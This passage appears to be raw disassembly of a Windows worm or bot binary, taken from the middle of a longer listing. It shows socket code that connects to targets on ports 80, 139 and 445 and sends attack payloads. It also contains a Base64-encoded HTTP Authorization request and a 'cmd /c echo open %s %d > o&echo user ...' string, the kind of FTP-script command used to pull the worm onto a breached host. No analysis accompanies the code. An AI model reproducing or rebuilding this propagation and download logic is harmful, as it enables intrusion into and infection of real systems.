		mov	eax, [ebp+var_10C]
		add	eax, [ebp+var_104]
		mov	cx, word ptr [ebp+arg_8]
		mov	[eax], cx
		mov	eax, [ebp+var_104]
		inc	eax
		inc	eax
		mov	[ebp+var_104], eax
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		mov	eax, [ebp+var_10C]
		add	eax, [ebp+var_104]
		push	eax
		call	sub_422B50
		add	esp, 0Ch
		mov	eax, [ebp+var_104]
		add	eax, [ebp+arg_8]
		mov	[ebp+var_104], eax
		push	6
		push	offset dword_4E442C
		mov	eax, [ebp+var_10C]
		add	eax, [ebp+var_104]
		push	eax
		call	sub_422B50
		add	esp, 0Ch
		mov	eax, [ebp+var_104]
		add	eax, 6
		mov	[ebp+var_104], eax
		push	85h
		push	offset dword_44993C
		push	[ebp+arg_0]
		call	sub_40FF05
		add	esp, 0Ch
		movzx	eax, al
		test	eax, eax
		jnz	short loc_4100B0
		push	[ebp+var_10C]
		call	sub_41F930
		pop	ecx
		xor	al, al
		jmp	short locret_41011E
; ---------------------------------------------------------------------------


loc_4100B0:				; CODE XREF: sub_40FF4A+154j
		push	0
		push	100h
		lea	eax, [ebp+var_100]
		push	eax
		push	[ebp+arg_0]
		call	sub_40FD9F
		add	esp, 10h
		push	[ebp+var_108]
		push	[ebp+var_10C]
		push	[ebp+arg_0]
		call	sub_40FF05
		add	esp, 0Ch
		movzx	eax, al
		test	eax, eax
		jnz	short loc_4100F7
		push	[ebp+var_10C]
		call	sub_41F930
		pop	ecx
		xor	al, al
		jmp	short locret_41011E
; ---------------------------------------------------------------------------


loc_4100F7:				; CODE XREF: sub_40FF4A+19Bj
		push	0
		push	100h
		lea	eax, [ebp+var_100]
		push	eax
		push	[ebp+arg_0]
		call	sub_40FD9F
		add	esp, 10h
		push	[ebp+var_10C]
		call	sub_41F930
		pop	ecx
		mov	al, 1

locret_41011E:				; CODE XREF: sub_40FF4A+32j
					; sub_40FF4A+164j ...
		leave
		retn
sub_40FF4A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410120	proc near		; CODE XREF: .XComp0:00410690p

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	0
		push	48h
		push	offset unk_449A00
		push	[ebp+arg_0]
		call	near ptr 71AB428Ah
		nop
		cmp	eax, 48h
		jz	short loc_410141
		xor	al, al
		jmp	short locret_41017D
; ---------------------------------------------------------------------------


loc_410141:				; CODE XREF: sub_410120+1Bj
		push	0
		push	20h
		lea	eax, [ebp+var_20]
		push	eax
		push	[ebp+arg_0]
		call	sub_40FD9F
		add	esp, 10h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41015D
		xor	al, al
		jmp	short locret_41017D
; ---------------------------------------------------------------------------


loc_41015D:				; CODE XREF: sub_410120+37j
		movzx	eax, [ebp+var_20]
		cmp	eax, 82h
		jz	short loc_41016C
		xor	al, al
		jmp	short locret_41017D
; ---------------------------------------------------------------------------


loc_41016C:				; CODE XREF: sub_410120+46j
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40FF4A
		add	esp, 0Ch

locret_41017D:				; CODE XREF: sub_410120+1Fj
					; sub_410120+3Bj ...
		leave
		retn
sub_410120	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41017F	proc near		; CODE XREF: sub_4101EB+27p

var_2C		= qword	ptr -2Ch
var_24		= qword	ptr -24h
var_1C		= qword	ptr -1Ch
var_14		= qword	ptr -14h
var_C		= qword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		mov	eax, [ebp+arg_0]
		shl	eax, 3
		mov	dword ptr [ebp+var_C], eax
		and	dword ptr [ebp+var_C+4], 0
		fild	[ebp+var_C]
		fdiv	dbl_43E460
		call	sub_42313C
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		mov	dword ptr [ebp+var_14],	eax
		and	dword ptr [ebp+var_14+4], 0
		fild	[ebp+var_14]
		fstp	[ebp+var_1C]
		mov	eax, [ebp+var_4]
		mov	dword ptr [ebp+var_24],	eax
		and	dword ptr [ebp+var_24+4], 0
		fild	[ebp+var_24]
		fdiv	dbl_43E458
		push	ecx
		push	ecx		; double
		fstp	[esp+2Ch+var_2C]
		call	sub_422F50
		pop	ecx
		pop	ecx
		fadd	st, st
		fadd	[ebp+var_1C]
		call	sub_42313C
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		leave
		retn
sub_41017F	endp


; =============== S U B	R O U T	I N E =======================================



sub_4101EB	proc near		; CODE XREF: sub_4103B1+21p

var_40		= qword	ptr -40h

		mov	eax, offset loc_43DBD0
		call	sub_423780
		sub	esp, 38h
		and	dword ptr [ebp-3Ch], 0
		lea	eax, [ebp-38h]
		push	eax
		lea	ecx, [ebp-20h]
		call	sub_410759
		mov	dword ptr [ebp-4], 1
		push	dword ptr [ebp+10h]
		call	sub_41017F
		pop	ecx
		push	eax
		lea	ecx, [ebp-20h]
		call	sub_4108E2
		and	dword ptr [ebp-10h], 0


loc_410225:				; CODE XREF: sub_4101EB:loc_41037Dj
		cmp	dword ptr [ebp+10h], 0
		jbe	loc_410382
		cmp	dword ptr [ebp+10h], 3
		jb	short loc_41023E
		mov	dword ptr [ebp-30h], 3
		jmp	short loc_41025A
; ---------------------------------------------------------------------------


loc_41023E:				; CODE XREF: sub_4101EB+48j
		cmp	dword ptr [ebp+10h], 2
		jnz	short loc_41024D
		mov	dword ptr [ebp-30h], 2
		jmp	short loc_41025A
; ---------------------------------------------------------------------------


loc_41024D:				; CODE XREF: sub_4101EB+57j
		cmp	dword ptr [ebp+10h], 1
		jnz	short loc_41025A
		mov	dword ptr [ebp-30h], 1


loc_41025A:				; CODE XREF: sub_4101EB+51j
					; sub_4101EB+60j ...
		mov	eax, [ebp-30h]
		mov	[ebp-44h], eax
		and	dword ptr [ebp-40h], 0
		fild	qword ptr [ebp-44h]
		fmul	dbl_43E468
		fdiv	dbl_43E460
		push	ecx
		push	ecx		; double
		fstp	[esp+40h+var_40]
		call	sub_423170
		pop	ecx
		pop	ecx
		call	sub_42313C
		mov	[ebp-2Ch], eax
		and	dword ptr [ebp-34h], 0
		jmp	short loc_410294
; ---------------------------------------------------------------------------


loc_41028D:				; CODE XREF: sub_4101EB+C0j
		mov	eax, [ebp-34h]
		inc	eax
		mov	[ebp-34h], eax


loc_410294:				; CODE XREF: sub_4101EB+A0j
		mov	eax, [ebp-34h]
		cmp	eax, [ebp-30h]
		jnb	short loc_4102AD
		mov	eax, [ebp+0Ch]
		add	eax, [ebp-34h]
		mov	ecx, [ebp-34h]
		mov	al, [eax]
		mov	[ebp+ecx-28h], al
		jmp	short loc_41028D
; ---------------------------------------------------------------------------


loc_4102AD:				; CODE XREF: sub_4101EB+AFj
		mov	eax, [ebp+0Ch]
		add	eax, [ebp-30h]
		mov	[ebp+0Ch], eax
		mov	eax, [ebp+10h]
		sub	eax, [ebp-30h]
		mov	[ebp+10h], eax
		movsx	eax, byte ptr [ebp-28h]
		and	eax, 0FCh
		sar	eax, 2
		mov	[ebp-24h], al
		movsx	eax, byte ptr [ebp-28h]
		and	eax, 3
		shl	eax, 4
		movsx	ecx, byte ptr [ebp-27h]
		and	ecx, 0F0h
		sar	ecx, 4
		add	eax, ecx
		mov	[ebp-23h], al
		movsx	eax, byte ptr [ebp-27h]
		and	eax, 0Fh
		movsx	ecx, byte ptr [ebp-26h]
		and	ecx, 0C0h
		sar	ecx, 6
		lea	eax, [ecx+eax*4]
		mov	[ebp-22h], al
		movsx	eax, byte ptr [ebp-26h]
		and	eax, 3Fh
		mov	[ebp-21h], al
		and	dword ptr [ebp-34h], 0
		jmp	short loc_41031B
; ---------------------------------------------------------------------------


loc_410314:				; CODE XREF: sub_4101EB+158j
		mov	eax, [ebp-34h]
		inc	eax
		mov	[ebp-34h], eax


loc_41031B:				; CODE XREF: sub_4101EB+127j
		mov	eax, [ebp-34h]
		cmp	eax, [ebp-2Ch]
		jnb	short loc_410345
		mov	eax, [ebp-34h]
		movsx	eax, byte ptr [ebp+eax-24h]
		mov	al, byte_449A4C[eax]
		push	eax
		push	1
		lea	ecx, [ebp-20h]
		call	sub_41081E
		mov	eax, [ebp-10h]
		inc	eax
		mov	[ebp-10h], eax
		jmp	short loc_410314
; ---------------------------------------------------------------------------


loc_410345:				; CODE XREF: sub_4101EB+136j
		cmp	dword ptr [ebp-10h], 48h
		jb	short loc_41035A
		push	dword ptr [ebp+14h]
		lea	ecx, [ebp-20h]
		call	sub_4107F0
		and	dword ptr [ebp-10h], 0


loc_41035A:				; CODE XREF: sub_4101EB+15Ej
		mov	eax, [ebp-2Ch]
		mov	[ebp-34h], eax
		jmp	short loc_410369
; ---------------------------------------------------------------------------


loc_410362:				; CODE XREF: sub_4101EB+190j
		mov	eax, [ebp-34h]
		inc	eax
		mov	[ebp-34h], eax


loc_410369:				; CODE XREF: sub_4101EB+175j
		cmp	dword ptr [ebp-34h], 4
		jnb	short loc_41037D
		push	3Dh
		push	1
		lea	ecx, [ebp-20h]
		call	sub_41081E
		jmp	short loc_410362
; ---------------------------------------------------------------------------


loc_41037D:				; CODE XREF: sub_4101EB+182j
		jmp	loc_410225
; ---------------------------------------------------------------------------


loc_410382:				; CODE XREF: sub_4101EB+3Ej
		lea	eax, [ebp-20h]
		push	eax
		mov	ecx, [ebp+8]
		call	sub_41077B
		mov	eax, [ebp-3Ch]
		or	al, 1
		mov	[ebp-3Ch], eax
		and	byte ptr [ebp-4], 0
		lea	ecx, [ebp-20h]
		call	sub_4107DD
		mov	eax, [ebp+8]
		mov	ecx, [ebp-0Ch]
		mov	large fs:0, ecx
		leave
		retn
sub_4101EB	endp


; =============== S U B	R O U T	I N E =======================================



sub_4103B1	proc near		; CODE XREF: .XComp0:00410655p
		mov	eax, offset loc_43DBEC
		call	sub_423780
		sub	esp, 24h
		push	esi
		and	dword ptr [ebp-4], 0
		push	offset dword_4E4438
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		lea	eax, [ebp-24h]
		push	eax
		call	sub_4101EB
		add	esp, 10h
		mov	byte ptr [ebp-4], 1
		lea	ecx, [ebp+14h]
		call	sub_4108D3
		mov	esi, eax
		lea	ecx, [ebp-24h]
		call	sub_4108D3
		lea	eax, [esi+eax+36h]
		mov	[ebp-14h], eax
		push	dword ptr [ebp-14h]
		call	sub_41EDA0
		pop	ecx
		mov	[ebp-10h], eax
		cmp	dword ptr [ebp-10h], 0
		jnz	short loc_41042D
		and	byte ptr [ebp-28h], 0
		and	byte ptr [ebp-4], 0
		lea	ecx, [ebp-24h]
		call	sub_4107DD
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp+14h]
		call	sub_4107DD
		mov	al, [ebp-28h]
		jmp	loc_4104BA
; ---------------------------------------------------------------------------


loc_41042D:				; CODE XREF: sub_4103B1+56j
		lea	ecx, [ebp-24h]
		call	sub_4108AA
		push	eax
		lea	ecx, [ebp+14h]
		call	sub_4108AA
		push	eax
		push	offset aGetHttp1_0Host ; "GET /	HTTP/1.0\r\nHost: %s\r\nAuthorization"...
		push	dword ptr [ebp-14h]
		push	dword ptr [ebp-10h]
		call	sub_421B90
		add	esp, 14h
		push	0
		push	dword ptr [ebp-14h]
		push	dword ptr [ebp-10h]
		push	dword ptr [ebp+8]
		call	dword_4E1750	; send
		cmp	eax, [ebp-14h]
		jz	short loc_410492
		push	dword ptr [ebp-10h]
		call	sub_41F930
		pop	ecx
		and	byte ptr [ebp-2Ch], 0
		and	byte ptr [ebp-4], 0
		lea	ecx, [ebp-24h]
		call	sub_4107DD
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp+14h]
		call	sub_4107DD
		mov	al, [ebp-2Ch]
		jmp	short loc_4104BA
; ---------------------------------------------------------------------------


loc_410492:				; CODE XREF: sub_4103B1+B5j
		push	dword ptr [ebp-10h]
		call	sub_41F930
		pop	ecx
		mov	byte ptr [ebp-30h], 1
		and	byte ptr [ebp-4], 0
		lea	ecx, [ebp-24h]
		call	sub_4107DD
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp+14h]
		call	sub_4107DD
		mov	al, [ebp-30h]


loc_4104BA:				; CODE XREF: sub_4103B1+77j
					; sub_4103B1+DFj
		mov	ecx, [ebp-0Ch]
		mov	large fs:0, ecx
		pop	esi
		leave
		retn
sub_4103B1	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 438h
		push	edi
		and	byte ptr [ebp-408h], 0
		mov	ecx, 0FFh
		xor	eax, eax
		lea	edi, [ebp-407h]
		rep stosd
		stosw
		stosb
		push	8Fh
		push	offset sub_449BF8
		lea	eax, [ebp-408h]
		push	eax
		call	sub_422B50
		add	esp, 0Ch
		push	offset byte_4410E8
		push	offset byte_4410E8
		movzx	eax, word ptr dword_4E1418
		push	eax
		push	dword ptr [ebp+8]
		call	sub_40C86E
		pop	ecx
		push	eax
		push	offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d > o&echo user 1 "...
		push	400h
		lea	eax, [ebp-379h]
		push	eax
		call	sub_421B90
		add	esp, 1Ch
		mov	[ebp-4], eax
		mov	eax, [ebp-4]
		add	eax, 90h
		mov	[ebp-418h], eax
		push	dword ptr [ebp-418h]
		lea	eax, [ebp-408h]
		push	eax
		push	164h
		push	offset sub_449A90
		lea	eax, [ebp-414h]
		push	eax
		call	sub_40F9E5
		add	esp, 14h
		cmp	dword ptr [ebp-410h], 0
		jnz	short loc_41057F
		xor	eax, eax
		jmp	loc_410737
; ---------------------------------------------------------------------------


loc_41057F:				; CODE XREF: .XComp0:00410576j
		and	dword ptr [ebp-8], 0
		and	dword ptr [ebp-40Ch], 0


loc_41058A:				; CODE XREF: .XComp0:004106F9j
		cmp	dword ptr [ebp-8], 2
		jge	loc_4106FE
		cmp	dword ptr [ebp-40Ch], 0
		jnz	loc_4106FE
		push	6
		push	1
		push	2
		call	near ptr 71AB3B91h
		nop
		mov	[ebp-41Ch], eax
		cmp	dword ptr [ebp-41Ch], 0FFFFFFFFh
		jz	loc_4106DE
		and	word ptr [ebp-42Ch], 0
		xor	eax, eax
		lea	edi, [ebp-42Ah]
		stosd
		stosd
		stosd
		stosw
		mov	word ptr [ebp-42Ch], 2
		push	dword ptr [ebp+0A8h]
		call	dword_4E1700	; ntohs
		mov	[ebp-42Ah], ax
		lea	eax, [ebp+0Ch]
		push	eax
		call	dword_4E1740	; inet_addr
		mov	[ebp-428h], eax
		push	10h
		lea	eax, [ebp-42Ch]
		push	eax
		push	dword ptr [ebp-41Ch]
		call	dword_4E16A8	; connect
		cmp	eax, 0FFFFFFFFh
		jz	loc_4106D2
		cmp	dword ptr [ebp+0A8h], 50h
		jnz	short loc_410672
		sub	esp, 10h
		mov	ecx, esp
		mov	[ebp-430h], esp
		lea	eax, [ebp-434h]
		push	eax
		lea	eax, [ebp+0Ch]
		push	eax
		call	sub_4107B0
		push	dword ptr [ebp-410h]
		push	dword ptr [ebp-414h]
		push	dword ptr [ebp-41Ch]
		call	sub_4103B1
		add	esp, 1Ch
		mov	[ebp-435h], al
		movzx	eax, byte ptr [ebp-435h]
		mov	[ebp-40Ch], eax
		jmp	short loc_4106D2
; ---------------------------------------------------------------------------


loc_410672:				; CODE XREF: .XComp0:00410626j
		cmp	dword ptr [ebp+0A8h], 8Bh
		jnz	short loc_4106A3
		push	dword ptr [ebp-410h]
		push	dword ptr [ebp-414h]
		push	dword ptr [ebp-41Ch]
		call	sub_410120
		add	esp, 0Ch
		movzx	eax, al
		mov	[ebp-40Ch], eax
		jmp	short loc_4106D2
; ---------------------------------------------------------------------------


loc_4106A3:				; CODE XREF: .XComp0:0041067Cj
		cmp	dword ptr [ebp+0A8h], 1BDh
		jnz	short loc_4106D2
		push	dword ptr [ebp-410h]
		push	dword ptr [ebp-414h]
		push	dword ptr [ebp-41Ch]
		call	sub_40FF4A
		add	esp, 0Ch
		movzx	eax, al
		mov	[ebp-40Ch], eax


loc_4106D2:				; CODE XREF: .XComp0:00410619j
					; .XComp0:00410670j ...
		push	dword ptr [ebp-41Ch]
		call	dword_4E1798	; closesocket


loc_4106DE:				; CODE XREF: .XComp0:004105BAj
		cmp	dword ptr [ebp-40Ch], 0
		jnz	short loc_4106F2
		push	3E8h
		nop
		call	near ptr 27B048Ah


loc_4106F2:				; CODE XREF: .XComp0:004106E5j
		mov	eax, [ebp-8]
		inc	eax
		mov	[ebp-8], eax
		jmp	loc_41058A
; ---------------------------------------------------------------------------


loc_4106FE:				; CODE XREF: .XComp0:0041058Ej
					; .XComp0:0041059Bj
		lea	ecx, [ebp-414h]
		call	sub_40F738
		cmp	dword ptr [ebp-40Ch], 0
		jz	short loc_410731
		mov	eax, [ebp+0B0h]
		shl	eax, 6
		mov	eax, dword_448FF0[eax]
		inc	eax
		mov	ecx, [ebp+0B0h]
		shl	ecx, 6
		mov	dword_448FF0[ecx], eax


loc_410731:				; CODE XREF: .XComp0:00410710j
		mov	eax, [ebp-40Ch]


loc_410737:				; CODE XREF: .XComp0:0041057Aj
		pop	edi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41073A	proc near		; DATA XREF: .XComp0:00441008o
		push	ebp
		mov	ebp, esp
		call	sub_411029
		call	sub_410749
		pop	ebp
		retn
sub_41073A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410749	proc near		; CODE XREF: sub_41073A+8p
		push	ebp
		mov	ebp, esp
		push	offset sub_411048
		call	sub_423C70
		pop	ecx
		pop	ebp
		retn
sub_410749	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410759	proc near		; CODE XREF: sub_4101EB+18p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+arg_0]
		mov	al, [eax]
		mov	ecx, [ebp+var_4]
		mov	[ecx], al
		push	0
		mov	ecx, [ebp+var_4]
		call	sub_410C66
		mov	eax, [ebp+var_4]
		leave
		retn	4
sub_410759	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41077B	proc near		; CODE XREF: sub_4101EB+19Ep
					; sub_43CFE0+3Cp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+arg_0]
		mov	al, [eax]
		mov	ecx, [ebp+var_4]
		mov	[ecx], al
		push	0
		mov	ecx, [ebp+var_4]
		call	sub_410C66
		push	dword_43E470
		push	0
		push	[ebp+arg_0]
		mov	ecx, [ebp+var_4]
		call	sub_41098C
		mov	eax, [ebp+var_4]
		leave
		retn	4
sub_41077B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4107B0	proc near		; CODE XREF: .XComp0:0041063Ep
					; sub_43CF80+27p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+arg_4]
		mov	al, [eax]
		mov	ecx, [ebp+var_4]
		mov	[ecx], al
		push	0
		mov	ecx, [ebp+var_4]
		call	sub_410C66
		push	[ebp+arg_0]
		mov	ecx, [ebp+var_4]
		call	sub_410AE1
		mov	eax, [ebp+var_4]
		leave
		retn	8
sub_4107B0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4107DD	proc near		; CODE XREF: sub_4101EB+1B2p
					; sub_4103B1+63p ...

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		push	1
		mov	ecx, [ebp+var_4]
		call	sub_410C66
		leave
		retn
sub_4107DD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4107F0	proc near		; CODE XREF: sub_4101EB+166p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		push	[ebp+arg_0]
		call	sub_410810
		pop	ecx
		push	eax
		push	[ebp+arg_0]
		mov	ecx, [ebp+var_4]
		call	sub_410905
		leave
		retn	4
sub_4107F0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410810	proc near		; CODE XREF: sub_4107F0+Ap
					; sub_410AE1+Ap

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	[ebp+arg_0]
		call	sub_41EBD0
		pop	ecx
		pop	ebp
		retn
sub_410810	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41081E	proc near		; CODE XREF: sub_4101EB+14Cp
					; sub_4101EB+18Bp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+var_8]
		mov	ecx, dword_43E470
		sub	ecx, [eax+8]
		cmp	ecx, [ebp+arg_0]
		ja	short loc_41083C
		call	sub_43CF80


loc_41083C:				; CODE XREF: sub_41081E+17j
		cmp	[ebp+arg_0], 0
		jbe	short loc_410889
		push	0
		mov	eax, [ebp+var_8]
		mov	eax, [eax+8]
		add	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax
		push	[ebp+var_4]
		mov	ecx, [ebp+var_8]
		call	sub_410B3E
		movzx	eax, al
		test	eax, eax
		jz	short loc_410889
		lea	eax, [ebp+arg_4]
		push	eax
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	eax, [eax+4]
		mov	ecx, [ebp+var_8]
		add	eax, [ecx+8]
		push	eax
		call	sub_410890
		add	esp, 0Ch
		push	[ebp+var_4]
		mov	ecx, [ebp+var_8]
		call	sub_410B01


loc_410889:				; CODE XREF: sub_41081E+22j
					; sub_41081E+42j
		mov	eax, [ebp+var_8]
		leave
		retn	8
sub_41081E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410890	proc near		; CODE XREF: sub_41081E+58p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	[ebp+arg_4]
		mov	eax, [ebp+arg_8]
		movsx	eax, byte ptr [eax]
		push	eax
		push	[ebp+arg_0]
		call	sub_421410
		add	esp, 0Ch
		pop	ebp
		retn
sub_410890	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4108AA	proc near		; CODE XREF: sub_4103B1+7Fp
					; sub_4103B1+88p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+var_4]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_4108C5
		call	sub_410C5C
		mov	[ebp+var_8], eax
		jmp	short loc_4108CE
; ---------------------------------------------------------------------------


loc_4108C5:				; CODE XREF: sub_4108AA+Fj
		mov	eax, [ebp+var_4]
		mov	eax, [eax+4]
		mov	[ebp+var_8], eax


loc_4108CE:				; CODE XREF: sub_4108AA+19j
		mov	eax, [ebp+var_8]
		leave
		retn
sub_4108AA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4108D3	proc near		; CODE XREF: sub_4103B1+30p
					; sub_4103B1+3Ap

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+var_4]
		mov	eax, [eax+8]
		leave
		retn
sub_4108D3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4108E2	proc near		; CODE XREF: sub_4101EB+31p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+var_4]
		mov	eax, [eax+0Ch]
		cmp	eax, [ebp+arg_0]
		jnb	short locret_410901
		push	0
		push	[ebp+arg_0]
		mov	ecx, [ebp+var_4]
		call	sub_410B3E

locret_410901:				; CODE XREF: sub_4108E2+10j
		leave
		retn	4
sub_4108E2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410905	proc near		; CODE XREF: sub_4107F0+17p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+var_8]
		mov	ecx, dword_43E470
		sub	ecx, [eax+8]
		cmp	ecx, [ebp+arg_4]
		ja	short loc_410923
		call	sub_43CF80


loc_410923:				; CODE XREF: sub_410905+17j
		cmp	[ebp+arg_4], 0
		jbe	short loc_41096F
		push	0
		mov	eax, [ebp+var_8]
		mov	eax, [eax+8]
		add	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax
		push	[ebp+var_4]
		mov	ecx, [ebp+var_8]
		call	sub_410B3E
		movzx	eax, al
		test	eax, eax
		jz	short loc_41096F
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	eax, [eax+4]
		mov	ecx, [ebp+var_8]
		add	eax, [ecx+8]
		push	eax
		call	sub_410976
		add	esp, 0Ch
		push	[ebp+var_4]
		mov	ecx, [ebp+var_8]
		call	sub_410B01


loc_41096F:				; CODE XREF: sub_410905+22j
					; sub_410905+42j
		mov	eax, [ebp+var_8]
		leave
		retn	8
sub_410905	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410976	proc near		; CODE XREF: sub_410905+57p
					; sub_41098C+12Cp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_422B50
		add	esp, 0Ch
		pop	ebp
		retn
sub_410976	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41098C	proc near		; CODE XREF: sub_41077B+29p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	[ebp+var_8], ecx
		mov	ecx, [ebp+arg_0]
		call	sub_410AD2
		cmp	eax, [ebp+arg_4]
		jnb	short loc_4109A7
		call	sub_43D280


loc_4109A7:				; CODE XREF: sub_41098C+14j
		mov	ecx, [ebp+arg_0]
		call	sub_410AD2
		sub	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		cmp	eax, [ebp+var_4]
		jnb	short loc_4109C3
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_4], eax


loc_4109C3:				; CODE XREF: sub_41098C+2Fj
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+arg_0]
		jnz	short loc_4109F2
		push	dword_43E470
		mov	eax, [ebp+arg_4]
		add	eax, [ebp+var_4]
		push	eax
		mov	ecx, [ebp+var_8]
		call	sub_410D40
		push	[ebp+arg_4]
		push	0
		mov	ecx, [ebp+var_8]
		call	sub_410D40
		jmp	loc_410ACB
; ---------------------------------------------------------------------------


loc_4109F2:				; CODE XREF: sub_41098C+3Dj
		cmp	[ebp+var_4], 0
		jbe	loc_410A8F
		mov	ecx, [ebp+arg_0]
		call	sub_410AD2
		cmp	[ebp+var_4], eax
		jnz	loc_410A8F
		mov	ecx, [ebp+arg_0]
		call	sub_4108AA
		push	eax
		mov	ecx, [ebp+var_8]
		call	sub_410F4B
		movzx	eax, byte ptr [eax]
		cmp	eax, 0FEh
		jge	short loc_410A8F
		push	[ebp+arg_0]
		push	[ebp+var_8]
		call	sub_41100A
		pop	ecx
		pop	ecx
		movzx	eax, al
		test	eax, eax
		jz	short loc_410A8F
		push	1
		mov	ecx, [ebp+var_8]
		call	sub_410C66
		mov	ecx, [ebp+arg_0]
		call	sub_4108AA
		mov	ecx, [ebp+var_8]
		mov	[ecx+4], eax
		mov	ecx, [ebp+arg_0]
		call	sub_410AD2
		mov	ecx, [ebp+var_8]
		mov	[ecx+8], eax
		mov	ecx, [ebp+arg_0]
		call	sub_410E24
		mov	ecx, [ebp+var_8]
		mov	[ecx+0Ch], eax
		mov	eax, [ebp+var_8]
		push	dword ptr [eax+4]
		mov	ecx, [ebp+var_8]
		call	sub_410F4B
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		mov	al, [eax]
		add	al, 1
		mov	ecx, [ebp+var_C]
		mov	[ecx], al
		jmp	short loc_410ACB
; ---------------------------------------------------------------------------


loc_410A8F:				; CODE XREF: sub_41098C+6Aj
					; sub_41098C+7Bj ...
		push	1
		push	[ebp+var_4]
		mov	ecx, [ebp+var_8]
		call	sub_410B3E
		movzx	eax, al
		test	eax, eax
		jz	short loc_410ACB
		push	[ebp+var_4]
		mov	ecx, [ebp+arg_0]
		call	sub_4108AA
		add	eax, [ebp+arg_4]
		push	eax
		mov	eax, [ebp+var_8]
		push	dword ptr [eax+4]
		call	sub_410976
		add	esp, 0Ch
		push	[ebp+var_4]
